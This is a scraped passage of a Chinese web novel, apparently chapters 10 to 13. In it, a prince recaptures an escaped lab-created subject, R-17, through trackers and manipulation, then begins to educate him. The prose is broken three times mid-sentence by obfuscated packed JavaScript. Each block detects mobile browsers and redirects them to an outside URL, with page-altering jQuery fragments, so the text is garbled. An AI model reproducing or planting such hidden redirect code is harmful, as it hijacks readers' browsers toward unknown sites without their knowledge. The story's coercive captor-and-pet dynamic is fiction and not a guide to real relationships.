“至于我和父亲母亲的关系?不睦,怎么可能呢,”时闻歌挑了挑眉。 紧接着他声情并茂地棒读:“毕竟,我们可是相亲相爱的一家人啊。” 。 上午十点整。 跟在R-17身后上楼,小谢医生望了眼墙壁的挂钟,长鼻子的木头小人被机关和齿轮牵引着连续敲击表盘,将时针往前推进一格。 庄园到处都是老旧的东西,不知哪个屋的直播投影打开了,经过电磁转播的时闻歌声音有些失真,R-17循声驻足,以为是时闻歌回来了。 然而很快他看清那不过是个欺骗人的虚影,抿抿唇后别开头,反倒是小谢医生焦虑得满头是汗,在长廊的岔路口左顾右盼,确定没有人发现他拐走了时闻歌关在地下室的金丝雀。 是的,金丝雀。 如此美丽,如此动人,让人魂牵梦萦,望向他的每个瞬间都能感受到心脏的悸动。 小谢医生将自己代入时闻歌的视角,如果是他的话,大概也忍不住想要将R-17囚禁。 “赶快走吧。”只是现在的最优要务是离开时闻歌的地盘,小谢医生顺势想要抓住R-17的衣袖。 咔嚓一声。 小谢医生捂住脱臼的肩膀,同时捂住嘴巴避免痛得大叫,引来庄园内的管家,而R-17默默注视着自己的衣袖,还有半点力气都没用的右手。 这个人类,好脆弱。 比研究所的脆弱太多了。 “我没有……要伤害你的意思,别这样,别这样对我,求你了。”小谢医生为自己辩解,“我只想,带你离开这里。” 离开。 哦对,离开的步骤分为三步:寻找路径、使用交通工具、设置终点。 他不知道离开的路,也没有除了双腿以外的交通工具,眼前这个人能提供计划缺失的部分,所以暂时不杀。 至于离开的终点,他不知道自己应该去往哪里,记忆是一片空荡荡的沙丘,他只能将终点设为除了地下室以外唯二他知道的地点,制造他的研究所。 他望向小谢医生,丝毫没有道歉的倾向。 “我知道离开的路……”小谢医生忍痛说,“我的车,在地下车库,我现在就带你走。” 车,较为常见的交通工具之一,R-17为数不多的使用经历中恰好有车,速度较慢,受限较多,但勉强可用。 小谢医生莫名懂得了R-17想要他带路的意图,立刻往前迈步领先R-17半个身位,只是走在前面就没有魂牵梦萦的背影可供注视,他忍不住频频回头。 正巧望见R-17对着房间内的投影出神,时闻歌碧绿的眼睛温柔注视镜头,就像分隔时间和空间注视着他。他张了张口,一板一眼回答记者提问的平静声音传来,叮当玲珑敲击心房,和小谢医生前行的步伐莫名一致。 “我们可是相亲相爱的一家人啊。”他说。 R-17不再留恋,朝走廊的尽头迈开腿,精准地执行离开的计划。 只是脑海中偶尔冒出不该有的念头。 这个世界除了必须死的敌人和必须听从命令的研究员,家人这第三种分类,是什么? 。 副秘书长似乎被时闻歌几句话吓得够呛,从此之后包揽所有记者提问,不着痕迹地剥夺他回答问题的权利。 时闻歌也不介意,乐得他代劳,听瘦男人同这帮记者和乐融融地打太极,没有打断的意图,安安静静坐在采访席做好他美丽花瓶的本职工作。 几点了? 他低头看了眼手腕,时针和分针指向十点十分。 表盘被设置成复古的卡通风格,一个鼻子长长的木偶抱着木槌闭眼沉眠,对外界的吵闹和喧杂毫无反应。 下一刻,木偶猛然睁开眼睛,手中木槌狠狠砸向表盘玻璃,营造出玻璃被砸碎的特效感。旋即画面中央出现一个正在移动的红色小点和其身处的三维地图。 那三维地图正是时闻歌的郊外别庄。 他唰地站起! “发布会到此结束。”时闻歌的笑容完美无瑕,语气确是不容置疑的威慑,“有什么事容后再议,孤离席了。” 他说完立刻转身就走,也不顾副秘书长在身后不停地呼喊“殿下,殿下!”,他愿意参与皇室和记者的逢场作戏就很不错了,根本不在乎这场过家家最后会如何收场。 只是会场中依然有勇者。 私语嗡嗡如涟漪在会场扩散,喧闹中,一个身形娇小的女记者躲过身高马大的保镖和秘书处,在靠近时闻歌的瞬间被两名黑西装的壮汉压倒在地。 她见阻拦无望,尖叫着呼唤时闻歌的名字:“殿下!殿下!您知道皇室有意更改皇室继承人法案吗?您的休养究竟是在为您可能存在的兄弟姐妹让路,还是因为三年前您舅舅的意外身亡?!” 时闻歌顿时停下脚步。 脚尖转了半圈,他蹲下身,直视女记者的目光,饶有兴致地问:“你为什么会这么说?” 目光如烛影摇晃,女记者的声音颤抖却充满坚定,几乎是以气音在说:“我统计过,自阿兹拉尔大人三年前离世后,您和皇后陛下再没有同框过,据说皇后陛下和阿兹拉尔大人兄妹感情极其深厚,甚至您也是阿兹拉尔抚养大的……” “所以,舅舅因实验事故过世的时候,我可是非常、非常伤心的。” “我舅舅是一名伟大的科学家,他是阿兹拉尔下一代家主,同时也是一名真正的天才,参与的诸多课题和项目在实践中都得到验证,在生物学这等相关领域,没有人的成就能超过他。”时闻歌说,“他教导我良多,以他为首的皇家生命科学院也为帝国培养了无数英才。” 他的声音放得极轻,仿佛轻轻触碰就会碎掉:“他的离世不仅我个人难以释怀,对帝国同样也是巨大损失,相信母亲亦是如此。” 记者身上都有身份信息的标识,时闻歌扫了扫女记者年轻而倔强的脸庞,她干脆利落的黑短发,转而落在她因挣扎而掉落的铭牌:“这位朝日报社的玛丽小姐,你还有什么想问的?” “皇室继承人法案……” 现在的皇室继承人法案规定只有皇帝和皇后的婚生子具有继承皇位的正统性,很可惜,至今两位陛下也只有时闻歌这一个后代。 他是名正言顺的皇位继承人,从出生的那刻便背负起皇太子之名。可是法案一旦修改后,所有具备时家血脉且被皇室承认的孩子都有继承的资格,无论是时家旁系或者是——皇帝的私生子。 有人想要登上时代的舞台,与时闻歌同台竞技。 可时闻歌并没有感受到威胁,他捡起玛丽的铭牌,示意他记住了这位莽撞小姐的名字。他系上披风,衣摆在转身之际微微被风吹起翻飞,摆了摆手,根本无所谓玛丽话语中的暗指。 “随意吧。”他说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517448|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他现在有更重要的事情要做。 。 小谢医生的车是一辆最新款的家用悬浮车。 滴地一声声纹解控,小谢医生的头向右偏转九十度,直勾勾地盯着R-17。目光中R-17对进入一个铁箱子显得十分抗拒,仿佛从一个透明的罐子进入到另一个不透明的罐子。 他忍着强烈的不适感进入副驾驶,学着小谢医生的模样给自己系上安全带,身下传来震动,这个包住他的铁罐头缓缓向未知的黑暗驶去。 “你看,很顺利,我们已经离开庄园了。”小谢医生安抚着他。 然而R-17没有任何反馈。 他直视前方,漠然地看大门洞开,视野豁然开朗,草木和城市的钢筋铁骨如同倒影迅速从身边掠过。 就像之前诊疗的那般,他对外界的刺激没有反馈,想要治疗这种情况,要么让他回到令他安心熟悉的环境,要么给予相当程度的刺激。 但这两种方式小谢医生都不具备。 他只能暂时将R-17带回家,再联系曾经皇家生命科学院的同学,看是否能偷偷搞到些许可用的实验器材…… 连向下城区的路径已经往返了好几次,很熟悉,人现在带出来了,小谢医生身心舒畅,打开车的自动驾驶,按照交通管制要求降低高度,几乎是贴地飞行。 太子殿下的庄园距离市区实在太远,位于荒无人烟的群山之间,至少还有二十分钟的车程,他不知道该做什么,或者说他不需要思考这个问题,任由自动驾驶带他驶向既定的方向。 他只要凝望着R-17,不在乎为什么他手里有一个攥紧的苹果,也从未得知他的姓名,他们的关系是医生和患者,是被拯救者和救世主,也许未来还会发生点别的。 小谢医生凝望着R-17,那眼神是再熟悉不过的欲望。 “你……” 就在这刹那—— R-17突然出手抓住方向盘,力道大得几乎要把方向盘硬生生扯下来,小谢医生还不知道发生了什么,天旋地转间自己竟然已经从驾驶席挪到了副驾驶! 而腾挪间R-17坐在了驾驶席,他的学习能力强的可怕,短短几十分钟的旅程就从小谢医生的动作学会了悬浮车的驾驶方法。然而他此时不是对开车产生了兴趣,也不是后悔离开郊外别庄,而是猛踩加速,以悬浮车短时间内所能达到的极限速度向前冲去! 怎么回事?! 尖叫呼之欲出,顺着R-17几乎凝成竖缝的目光望去,一道身影不知何时出现在正前方数百米的位置,眼熟得令小谢医生骤然清醒! 太子殿下? 怎么会是太子殿下! 时闻歌,他、他不是去皇宫了吗?! 大脑瞬间空白,然而比大脑空白更可怕的是车速,悬浮车的动势分毫不减,数百米距离眨眼而逝,毅然决然地撞向前方的身影! 轰—— 撞上了吗? 这是小谢医生大脑的第一反应,副驾驶防护囊袋弹出,为他隔绝熊熊燃烧的大火和挤压变形的钢铁,他这才意识到刚刚那声轰然巨响根本不是悬浮车撞击人体应用的声音,而是火箭炮破空而出,于悬浮车即将撞上时闻歌的前一秒迅雷般击中车身。 一道身影扯开驾驶室的门。 时闻歌抓住R-17的衣领,将他从气泡和金属残骸中拉了出来,笑着摸了摸他的头:“R-17,午安。” “你为什么觉得我不会在庄园内布满摄像头,再在你睡着的时候,往你身体内注射定位芯片呢?” 从始至终R-17的行为就在时闻歌的掌控之中,对小谢医生言语的诱导,向R-17提起研究所,刻意被看见的密码和没打开人脸识别的疏忽……全都是诱导他按照自我的意愿计划、行动,再在成功即将到来的那刻被骤然击溃。 他是长鼻子的木偶,而时闻歌是束缚木偶的丝线,一切或隐秘或直白的细节都在此刻尽数化作平静的询问。 “现在你是什么感觉?” 黑色头盔毫发无损地戴在脑袋,掩盖住所有的情绪,然而那双深红眼睛再也不是空洞和漠然,而是被汹涌澎湃的怒意盛满。 他的计划。 他的离开,他的决定,还有他的自由。 全都在这刻被时闻歌突兀打破,R-17没由来地感受到了从电击训练之后再也没感受过的情绪,胸腔起伏如同老旧风箱,一股强烈的想要发泄的冲动自胸腔到喉咙向外涌出,最终凝聚成一句金属磨砺过的咆哮。 “时、闻、歌!” 11. 第 11 章 车祸造成的大火熊熊燃烧,被盛夏焦躁的风吹成任意的形状,一道斑驳黯淡的公路标线从遥远的地平线延伸到脚下,将时闻歌和R-17两人分隔在线的两端。 R-17双目红得滴血,胸腔起起伏伏,语言系统的重启不是一时半会能搞定的事情,他狠狠地盯着时闻歌,在剧烈的喘息后再次怒吼。 “时、闻、歌!” “我在听。”时闻歌歪了歪脑袋,“而且你应该叫我殿下,我之前教过你的。” “……”R-17现在气不打一出来,几乎是一个字一个字往外蹦,“我,不!” “看来你的语言库比我了解的还要深,”“我”和“不”都没有在之前的教学内容出现过,时闻歌略微有些不满,“但这不是对待主人应有的态度。” 时闻歌没养过宠物,也没养过人。 决定带走R-17的那刻他就决定端正自我态度,学习当一个合格的主人,甚至捡起从前几乎不会看的网络萌宠短视频,让知识以一种歹毒的方式进入脑子。 做的好该奖励,犯错了要惩罚。 他丝毫不觉得自己强硬的处事风格有哪怕一点点问题,看在R-17主动开口的份上,宽宏大量原谅他的冒犯,甚至抬起手,想要奖赏他,顺顺他的额发,抚摸他的后颈——据说是一种增强主人和宠物之间亲近感的方式。 嗷呜! R-17狠狠咬住他的手。 犬牙刺入皮肤,像要硬生生咬下一块肉,黑面具棱角抵住腕骨,鲜红血流汩汩顺着唇角流下,顺着锋利颌线汇聚成一处,滴答滴答落在地上。 “嘶,”时闻歌冷冷道,“你是狗吗?” “时闻歌,杀了你。”R-17死死含住他的肉,含混不清地表达他的杀意。 他也是被气昏了头,看见时闻歌伸手想也不想地张开嘴,连作为武器的手和脚都忘了。可时闻歌竟然也没计较他的逾矩,读不透的眼神看了他半晌,居然手也没想着抽出来,反倒就这个姿势拉起他往后走。 不远处停放一辆机车,机车被改装过,前轮上方装了一组火箭炮,现在炮管空了一个,显得有些空空荡荡的。 时闻歌离开时没开自己的车,机车还是临时从安瑟伦那顺来的,仔细一看就能发现他穿着的是方才直播投影出现过的太子正装,想来是一离开会场衣服都没来得及换,马不停蹄跨上机车奔向GPS定位目标。 “松开。”时闻歌长腿一跨稳稳地坐上机车,随口说的话仿佛真有令人服从的魔力,R-17放开含住的肉,舔干净犬牙残留的血。 时闻歌脱下外套,带好头盔,是和R-17同款的纯黑色,上半身是黑色的无袖紧身衣,勾勒出背脊和腰线的薄薄肌肉。 “上来。”他又命令道,“抱紧我。” 听从命令已经成为R-17的天赋,刻进骨头汇入血液,反抗的念头迟了一步,等他反应过来时已经坐在机车的后座,双臂紧紧抱住时闻歌的腰,头盔启动包裹整个面庞,他将头颅埋进温暖而又柔软的肩骨。 一声轰鸣,发动机骤然加速推进,风驰电掣奔向远处山峦。 高空狂风沙沙作响,R-17一开口就灌了满口的风,余光中树林和飞鸟从身边掠过,他甚至还看见了一条波光粼粼玉带般的河。 “为,什么?” 太久没有说话带来的后果就是一旦发音,声带就会很痛,像被刀子狠狠刮过,再加上词汇量和思维的局限性,R-17只能说出简短几个字。 但时闻歌瞬间明白了他的意思。 他在问:“为什么要阻止我离开?” “看来真的很生气。”果真是小狗一样的脾气,时闻歌低低笑了声,R-17不理解这是嘲笑,但他感到明显的不舒服。 于是一口咬在时闻歌的肩头,带出充满血腥味含混不清的几个字:“支配,可以,玩弄,不行。” “不是玩弄,是引导。”时闻歌说。 “从头到尾都是我设下的局,”为此还让小谢医生成为计划中必不可少的工具,时闻歌对此毫无愧意,甚至认为道德淡漠的恶人当作工具会比普通人用得更加顺手,“让你的计划被打破,让你的决定中途夭折,在强烈的刺激下你的愤怒就会油然而生,不仅仅是为了让你开口说话,情绪驱动着你,这样会显得你。” 他顿了顿,说,“比较像个人类。” “……”默然许久,沙哑的声音在身后轻轻响起,R-17垂下眼眸,“不。” 不。 他讨厌人类。 可是无人在意R-17内心深处的渺小想法,很快,机车飞驰的速度减缓,目的地即将到达。 机车驶向的方向是郊区庄园附近最高的山,它藏在密林里,和永不凋谢的松针为伴。时闻歌找了一处山崖,将R-17放下再停好机车,他摘下头盔,走向断崖,仍由夏日的风吹起他的长发。 “哪?”这是哪里,R-17问。 “我发现你愿意开口之后话有点多,”时闻歌没有回头,直直地望向前方,“这里是帝都星。” 从此处望去可以俯瞰整个帝都星,所有的建筑群围绕着一座巨大的白色高塔而建造,有金色的能量柱从塔顶喷涌而出,在最高点四处炸开,构成一道完美的抛物线,将帝都星以及其周围区域笼罩起来。 能量罩外是皑皑的冰雪,能量罩内是阳光明媚的盛夏,一道罩子为人类开辟出赖以生存的土地,供人类在这片土地繁衍生息。 时闻歌指着那白色高塔:“那里是能量塔,同时也是皇家生命科学院的总部,我小时候长大的地方。” 和一个没有记忆也没有常识的人提起童年似乎一点意义也没有,时闻歌没有继续深入这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517449|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个话题,他介绍道:“能量塔下方的建筑群就是帝国皇宫,以塔和皇宫为中心,方圆一百平方千米是帝都星市区的范围,其中地上城区常驻人口四百万,地下城区常驻人口八百万。” 帝都星总计一千二百万人口。 风簌簌而过,阳光穿透枝叶被切得粉碎,璀璨的金光落进时闻歌的眼底,将他的眼睛染成一抹瑰丽耀眼的金绿色。 他说:“谢医生居住的地方是人口最为密集的,地上城区和地下城区交界处。如果他带你回到他居住的地方,只要你一摘下头盔,以最坏的结果而言,可能会造成极其严重乃至影响帝都星一千二百万居民的重大灾害。到时候你要怎么做?杀光所有能看见的人,直到研究所的人找到你,再带你回到永不见天日的地下?” “R-17,你想杀死他们所有人吗?” “……不。”他做不到,R-17想,时闻歌说了这么多,就是想让他乖乖听话,不去成为口中那个有可能影响星球的人形天灾。 在时闻歌心中,帝都星才是第一顺位的。 就像在研究所,没有人在乎他内心的感受,他们只在乎他是否杀死敌人,身手是否干净利落,实验指标是否顺利达成。 “你,保护,他们。”正午光照下的帝星城似乎镀上一层金箔。 然而时闻歌否定了。 一个字清晰而又坚定地从唇齿之间呼啸而出:“不。” “你理解错了。”时闻歌说,“我的意思是,帝都星一千二百万人中,没有任何一个能和你正常交流,他们只会爱上你,而后恐惧你。” “只有我免疫你的精神控制,我能和你面对面正常交流,我能承受你的近战攻击,甚至教导你更多。帝都星,乃至扩大到人类星群,无论哪里都不会有你的容身之地——除了我身边,你唯一的归处。” “你真的有目标吗?你真的有必须完成的梦想吗?”他转过身,逆光背对城市,摇了摇头,“不,你没有,你不知道自己来自何方,自然也不知道自己要走向何处,仔细想想这次你愤怒的原因,你制定的计划来源和引导你前进的仍旧是我,可怜的强大的R-17,你的自我意识正在崩塌。” 你已经无处可去了。时闻歌的唇齿呢喃道。 莫名的寒意笼罩着R-17,明明不远处还是阳光明媚的盛夏,时闻歌看着他,锋利的轮廓,逆光的睫羽和幽深的眼睛注视着他,就像神明高高在上俯瞰他破碎的灵魂。 “我是你的主人。”他向R-17摊开掌心,一个明显邀请的讯号,“你到底要花多长时间才能想明白,不是我阻止你。” 仿佛所有怒意在这刻如冰雪消融,他是武器。强大的,无法控制的武器,只有同样强大的同类才能将其彻底支配。 “——而是你需要我。” R-17没有任何抵抗牵起那只手。 12. 第 12 章 “你需要我。” ——我需要你。 R-17鬼使神差地握上了那只手,时闻歌的手比他想象中更加粗糙,表面看不出来,修长的指尖细细一摸全是茧子。他不敢动,就着牵手的姿势像一尊雕像,也不知道在想什么,半响脱口一句。 “医生?” 那小谢医生怎么办? “……”时闻歌轻轻笑了一声,如果不是皇太子的优雅刻入本能他说不定轻笑立马变成冷笑:“你怎么能在气氛烘托到位的时候提起别人。” “不用担心,后续有人会处理的。” R-17一言不发。 时闻歌眉峰往高处一挑:“我对你说的每一句话,你都应该有回应。” 他将余光恩赐般地放在R-17的身上,生命中除了杀戮就是沉睡的R-17似乎也不是很适应现在这种状态,呆呆地,眼睛眨也不眨地望向自己,像一只愣头愣脑的企鹅。 呆企鹅愣了许久,慢吞吞地点头:“哦。” 然后像是觉得这个答案回应的力度不够,他又刻意强调:“是,我知道了。” “我给你的苹果呢?” 怎么连这种细节都知道? R-17心中闪过不明的疑惑,但他还是顺从时闻歌的命令,手插进裤腰口袋,将从庄园带出之后便牢牢藏起来的苹果拿出。 其实他的力气自我看来已经很轻了,但苹果表皮仍泛起蛛网似的裂纹。时闻歌接过它,两指一掰,苹果应声而碎。 他从果核中摸了摸,掏出一枚米粒大的信号发射器,红光还在有规律地持续闪烁,而后轻轻一捏,变成废铜烂铁,随手抛到山崖下面。 毁尸灭迹。 R-17心里只有这个念头。 现在苹果就只是一个普通的苹果了,被塞进R-17的嘴里。时闻歌边做边说:“除了注射在你体内的微型信号发射器,苹果内我也放了一个,不过它现在没用了。” “我们走吧。” 下午两点。 两人再次跨上鬼火摩托,以一种和来时完全不一样的心态返程,经过车祸发生地点时果然发现悬浮车残骸都不见了,无数蝉鸣和鸟叫汇聚成郊外公路的暖风,记忆之中模糊得大火仿佛只是不曾存在的幻觉,他沿着笔直的没有终点的公路飞往郊区庄园。 时闻歌将他载回地下室。 又回到熟悉的地方,钢铁壁板白得发亮,光秃秃的只有零星两三件家具。然而比起临走时现在这里有多了两样别的东西,也不知道是什么时候准备的,而R-17动了动嘴唇,竟然发现自己能准确叫出那两样东西的名字。 “书。”目光移向另一边由铁架和玻璃制成的四四方方的箱子,“和木箱?” “是展示柜。”时闻歌纠正他,“还记得我们的约法三章吗?” 不能攻击我。 做对了有奖励。 做错了有惩罚。 “你做出了正确的选择,这是奖励。” “奖励?”R-17重复道。 “对,是你的奖励,每当你完成我交给你的测试或者任务,你就能向我提出一个要求,获得一件物品,将其放进你的展示柜。” 他歪了歪头,柔顺的发丝划过脸颊,使得看向R-17的眼睛都显得如此真挚,而R-17全部的注意力都被玻璃展示柜吸引了,它摆在东南方向的角落,空荡得像在邀请他去填满。 我的。 “奖励。”R-17说。 这是有记忆以来第一件完全属于他的东西,内心像是燃起小小的火苗,有别于愤怒那种燎原一般的气势,但却让R-17产生了一种它会生生不息燃烧的信念。 望向展示柜的眼神明亮而专注,干涸的内心在今天第二次感受到别样的情绪。 “这叫期待。”时闻歌告诉他。 啊,果然比起空洞无趣的死物,他喜欢的是眼神期待充满干劲的活着的人类。 这使他平白多出了几分耐心,不知从哪摸出了一副眼镜架在鼻梁,显得斯文而富有书卷气,他敲了敲桌面,扎起低马尾,好像真的是个学校里的合格老师,勉强唤回沉浸在展示柜中的R-17的神智。 “如果你想填满它的话,就先坐过来。” 除了展示柜以外,地下室内多出的第二件物品其实是一件小型书架,可旋转可调节四面都被放满了的那种,在电子书籍和虚拟投影已成主流的今天,太子殿下依旧坚持这种传统复古的信息交流方式。 唰地从书架抽出一叠文件放在桌上,赫然是之前曾经给小谢医生展示过的,R-17的体检报告。 “你的脑部信号很活跃,说明你智商正常甚至可以说是卓越,不是难以教化的白痴,而且你是忘了,不是没学过。” R-17不知道这条结果该导向怎样的结论,但他牢记时闻歌曾告诉他,凡事必须有回应,呆呆地嗯了一声。 所以呢? “所以你学起来一定很快,”时闻歌说,“你手边的书架是帝都星义务教育九年的全部理科课程,从基础识字到生物物理化学入门,给你一周时间,学完它们。” R-17:“啊?我?” 真的假的?一周学九年的课程这真的合理吗?R-17直觉这要求实在太过反人类,但他一个半文盲和没脑子,看了那厚厚的几十本书半天也不知道该如何反驳时闻歌的话。 武器是不能反驳的。 所以有问题吗?没有问题。 怎么可能有问题! 主人说的话一定合理! R-17简直是用实际行动在给自己洗脑,他立马展现了被研究所培育出来的超绝行动力,坐在椅子上深呼吸一口气,按照指示抽出书架中的第一本书。那大概是一本幼儿识字教学书,上面大多是各种图画,从简单的数字和各种语法拼音开始讲解。 然后他手一动,翻开第一页。 撕拉—— 整本书被扯得粉碎。 书页如雪花纷纷落下,R-17瞪大眼睛,无师自通学会了委屈,撇撇嘴没说话,望向时闻歌的眼睛却湿漉漉的。 时闻歌:“……” 万能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517450|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇太子扶额:“是我的失误,在学习帝国通识教育的同时需要教育你该如何掌握力道。” 这不能怪他,毕竟没有谁在睁眼的第一课学习的内容是杀人,肌肉和骨密度还远远超过常人。 但是问题又来了。 什么能当做力量控制的教具? 脑中迅速翻出许多想法。金属,不行。食物,不行。专门用于检测握力的设备也不行,给普通人设计的器具过于死板。 在捡回R-17之前,时闻歌过的都是锦衣玉食、万事不缺的生活,就算被贬出了皇宫,也从来没为物质的缺乏产生烦恼,而现在居然一个小小的力量控制训练会难倒他。 他看着R-17得不到命令,坐在椅子发了会儿呆,而后蠢蠢欲动的伸出手抓住书架上另一本书。然后撕拉——书碎了,书架也因为一不小心触碰而散架,果然是毫不意外的结局。 他好像知道自己犯错了。 现在一动不敢动的,看向时闻歌,眼神左右躲闪:“惩罚……?” “先欠着。”时闻歌叹了口气。 惩罚不是说着玩玩的,只是用于惩罚的禁闭室暂时还没有准备好,而且解决问题的优先级目前高于惩罚的优先级。 他最终还是伸出了手。 向上摊开,写满邀请,就如同之前郊区山丘,俯瞰远景,他邀请R-17回到他身边,交合的两只手并没有落得和教科书一样凄惨的结局。 “把手放上来,以你掌握的最小的力道握住它。” ——他选择将自己当做R-17的教具。 脆弱的,一碰就碎的人体。 卸下防备,没有攻击的手臂。 在邀请他。 也许时闻歌是真的会魔法,R-17躲闪的眼睛立刻被吸引勾回了神,他仔细观察时闻歌的手,仿佛这样就能看见皮肤之下血液的流动,毛孔舒张呼吸的声音。 “只有我能承受你的力量,别人都不可以,研究所的人也不行。”时闻歌说挑眉,“某种程度可以说是天生一对。” R-17却没回答。 他只是默然地盯着那只手,而后将自己的手覆盖上去,用尽可能最为轻柔的力道捏了捏,看它保持完好,没有碎掉后放下了心。 “热的。”R-17想了想,还很,“软。” 教学课本已经成了散落满地的碎纸屑,带着黑白相间的铅字印记,恍惚间,R-17瞄到幼儿教学课本的小半页纸,图画里的女人摊开手,伸向另一边的幼儿。 研究所的岁月也不完全都是杀戮,研究员教过一些基础的字。因此他没费多大力气就认出了女人图画旁边教学用的几个黑字。 带给人安全和教导,需要听从对方指令的人,和主人一个意思。 R-17抬头,直视时闻歌的脸,毫无芥蒂和障碍:“——妈妈。” 不是敌人。 是和妈妈一样温暖的人。 时闻歌:“?” 时闻歌:“……” 判断错误,我看你没救了,要不还是想办法弄死回炉重造吧。 13. 第 13 章 R-17抱着一摞习题册跑上二楼,脚尖在楼梯拐角转了半圈,精准对准目标方向冲了过去。 他的目标是时闻歌的书房。 现在是7月底,这是一年四季中最热的时候,那个惊魂的仲夏夜也已过去了一个月。这段时间内R-17没干别的,呆在庄园专心接受再教育。他先花了一周学习基础教育,内容从幼儿园课本到小学通识教育,最后覆盖初中的生物化学等知识,而后又花了两周进行高中课程入门,只学理科不学文科,显然他唯一的老师认为,思想教育对一个没经过社会化训练的人形武器不具备任何意义。 学习的苦不忍回顾。 过去几周有好几个瞬间R-17都后悔了,时闻歌恐怖的填鸭式精英教育堪称折磨,发现他后悔时还会用温柔的语气说:“恭喜你又感受到新的情绪。” R-17:。 总之折磨着折磨着就成了习惯,R-17抱着他昨天通宵做完的物理习题册,什么行星轨道计算什么超新星爆发的辐射周期衰减,厚厚一摞手写作业抵住他的下巴,他小跑着冲到书房面前敲了敲门。 没有回应。 房内没人。 R-17了解时闻歌的作息,墙上钟表时针分针形成一个直角。早上九点,晨练结束了,他应该在书房看书打发时间。 学完基础教育后,R-17获得庄园一层的自由活动权限。第三周结束以后,他能够在庄园二层自由行走。 庄园内除了一名管家和一名男仆以外便全是机器人,27的行动由监控器和定位实时播报,因此他从未与庄园内的其他人见面,现在除了地下二层和露天花园,整个庄园没有他不能去的地方。 庄园内的监控器无处不在,他对着书房门口的摄像头发呆,很快得到老管家的回应。 “殿下在花房会客,是安瑟伦先生。” R-17没有反应,继续盯着摄像头看。 这次等待的时间久了点,片刻后老管家说:“殿下同意了,您可自行前往。” “谢谢。”他学会了礼貌,对准摄像头小声说。 玻璃花房内。 时闻歌关闭与管家的通讯,喝了口茶。 在他对面的安瑟伦袖子裤腿高高挽起,手里还捧着片西瓜,嚷嚷:“看看我给你带什么好东西来了,快尝尝。” 安瑟伦过世的母亲名下有一座农场,每逢瓜果成熟的季节就会给他送来一批新鲜的。 “今早刚摘下就用运输船送到帝都星,我都没尝过,直接送你这来了,”他咬了口瓜,“怎么样,兄弟我够意思吧。” “还行。”时闻歌矜持地说。 果盘内装着削皮切块的西瓜,可以用小叉子直接送到嘴边,时闻歌对食物没什么要求,挑了两块就没再下嘴。 安瑟伦吭哧吭哧啃了两片。 “我说皇宫那边,你就这样撒手不管了?你看过发布会那天的新闻没有?媒体可是说你高傲得很,还旧事重提你舅舅的新闻,搞得很高调,线下纪念活动都搞了几次。” 时闻歌对此的回应是:“不管,没看,没必要,随他吧。” 见他不咸不淡的样子,安瑟伦简直恨铁不成钢:“真是皇帝不急太监急。” 他愣了一下:“不对,你真有可能成皇帝啊,那我岂不是成真太监了?!” 骂别人的见过。 骂别人顺带把自己骂进去的属实少见。 时闻歌斜撇了他一眼,随后往下一倒,倒在沙滩躺椅的靠背上。日光从玻璃花房的穹顶倾泻而下,如蜜般在空间内流淌,他悠哉悠哉地开口。 “你到底有什么事?” “怎么?兄弟,不能关心你?” “我看不像。” “……好心当成驴肝肺啊你。” 事实上他到庄园这趟是真的有事,也是真的关心,安瑟伦正色道:“就你金屋藏娇那小朋友……” “R-17。”时闻歌纠正。 “好吧,R-17就R-17,你准备拿他怎么办啊?” R-17体质和能力都异于常人,无论如何都不能将他放归于人类社会之中,现在他听话倒是还好,但该怎么进一步处理时闻歌确实在考虑,总不能把人关在庄园里一辈子。 他只知道是27是实验体出生,但是不知道他究竟经历了哪些实验,不知道他为什么变成现在的状态,就连R-17自己也不清楚自己是怎么变成现在这个样子。 不知道原因就没办法对现状作出任何改变,时闻歌思考后回答:“我需要更多情报。” 关于实验和研究所。 以及他为什么会在仲夏夜被劫走。 “首先我需要对他的能力作出进一步研究。”时闻歌说,“现在庄园内的设备过于基础,得不到我想知道的答案,我需要更多高精尖的器材。” 余光瞥见安瑟伦窃笑的眼神,时闻歌顿时心中有数:“你是为这个来的吧。” “BINGO,答对了!” “我得到消息,明晚八点上城区公爵大人将举行一次公开拍卖,内容包括他收藏的一系列古董字画,还有他儿子之前用过的一系列医疗器材……你记得他儿子之前查出基因病来着吧,当时都宣判死刑了,公爵大人爱子心切找上你舅舅看有什么办法,最后也不知道怎么就好了,现在呢,没用的器械就拿出来拍卖,都是之前专门找科学院弄的定制款。” 时闻歌觉得安瑟伦不应该当个搞学分都费劲的大学生,应该去搞情报工作。 安瑟伦吸溜一口西瓜,问:“公爵大人的拍卖会你去吗?” 时闻歌想都没想:“不去。” 精密医疗器材属于帝国高层内部流通的抢手货,能拿到公开场合拍卖的肯定被搜刮过一轮,不剩下什么好东西了。 